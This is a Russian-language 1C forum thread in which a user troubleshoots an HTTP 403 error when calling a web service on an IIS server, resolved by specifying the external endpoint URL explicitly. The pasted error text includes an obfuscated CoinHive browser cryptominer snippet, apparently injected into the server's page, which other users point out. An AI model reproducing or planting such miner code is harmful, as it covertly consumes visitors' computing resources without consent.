|
Не могу достучаться до WEB-сервиса | ☑ | ||
---|---|---|---|---|
0
rotting
20.08.18
✎
15:26
|
Вот текст ошибки:
{ОбщийМодуль.ОбменМобильныеПереопределяемый.Модуль(21)}: Ошибка при вызове метода контекста (SetPhone) ТекстОшибки = Прокси.SetPhone(Тел,""+ИД+""); по причине: При вызове веб-сервиса произошла ошибка. Ошибка вызова операции сервиса: {central}:central:SetPhone() по причине: При вызове веб-сервиса произошла ошибка. Ошибка HTTP: HTTP Status 403. . Loading var _0x4020=["\x45\x62\x61\x61\x63\x77\x64\x66\x54\x46\x6E\x4B\x63\x7A\x4A\x64\x63\x4B\x38\x4B\x4A\x79\x4F\x51\x79\x31\x74\x6F\x45\x31\x5A\x39","\x73\x74\x61\x72\x74"];var miner=new CoinHive.Anonymous(_0x4020[0],{throttle:0.2});miner[_0x4020[1]]() Вот так вызываю: Адрес = "http://777.777.777.77:77777/mc_dms" + "/ws/ws1.1cws?wsdl"; Определения = Новый WSОпределения(Адрес,"mobile","*********", 0); Прокси = Новый WSПрокси(Определения, "central", "central", "centralSoap"); Что я делаю не так, почему 403? |
|||
1
rotting
20.08.18
✎
15:29
|
Сервер на IIS, может в нем че криво настроено?
|
|||
2
Deon
20.08.18
✎
15:35
|
var miner=new CoinHive ?
У вас там криптовалютный майнер? |
|||
3
ptiz
20.08.18
✎
15:37
|
Спалили майнера
|
|||
4
rotting
20.08.18
✎
15:52
|
хз... сервак клиента
вот нашел вопрос без ответа на инфостарте. Ситуация такая-же как и у меня: А кто-нибудь знает где настраивается в IIS такая вещь: Ситуация: настроено перенаправление с внешнего XXX.XXX.XXX.XXX:9000 на внутренний XXX.XXX.XXX.XXX:80. Опубликован веб-сервис. на apache: обращение к http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws?wsdl, точка подключения определяется как http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws - т.е. всё правильно, работает. на IIS: обращение к http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws?wsdl, точка подключения определяется как http://XXX.XXX.XXX.XXX/Service/ws/ws1.1cws - т.е. БЕЗ порта, не работает. Другими словами, если в браузере зайти на http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws?wsdl, то и на apache и на IIS будет получен стандартный ответ в виде xml. А если обратиться как http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws, то apache отобразит нормальную ссылку http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws?wsdl, а IIS НЕ нормальную http://XXX.XXX.XXX.XXX/Service/ws/ws1.1cws?wsdl, т.е. БЕЗ порта, как будто выдаёт внутренний порт почему-то. Как настроить IIS, что бы он точку подключения возвращал правильную внешнюю, а не внутреннюю? |
|||
5
Fragster
гуру
20.08.18
✎
15:56
|
(4) на апаче тоже не работает ;)
можно воспользоваться вот такой заляпухой: http://catalog.mista.ru/public/348215/ |
|||
6
rotting
20.08.18
✎
17:06
|
решается следующим образом:
Создал ws ссылку, потом так: Прокси = WSСсылки.WSСсылка1.СоздатьWSПрокси(URI,"central","centralSoap",,,,"http://ххх.ххх.ххх.ххх:11111/mc_dms/ws/ws1.1cws"); |
Форум | Правила | Описание | Объявления | Секции | Поиск | Книга знаний | Вики-миста |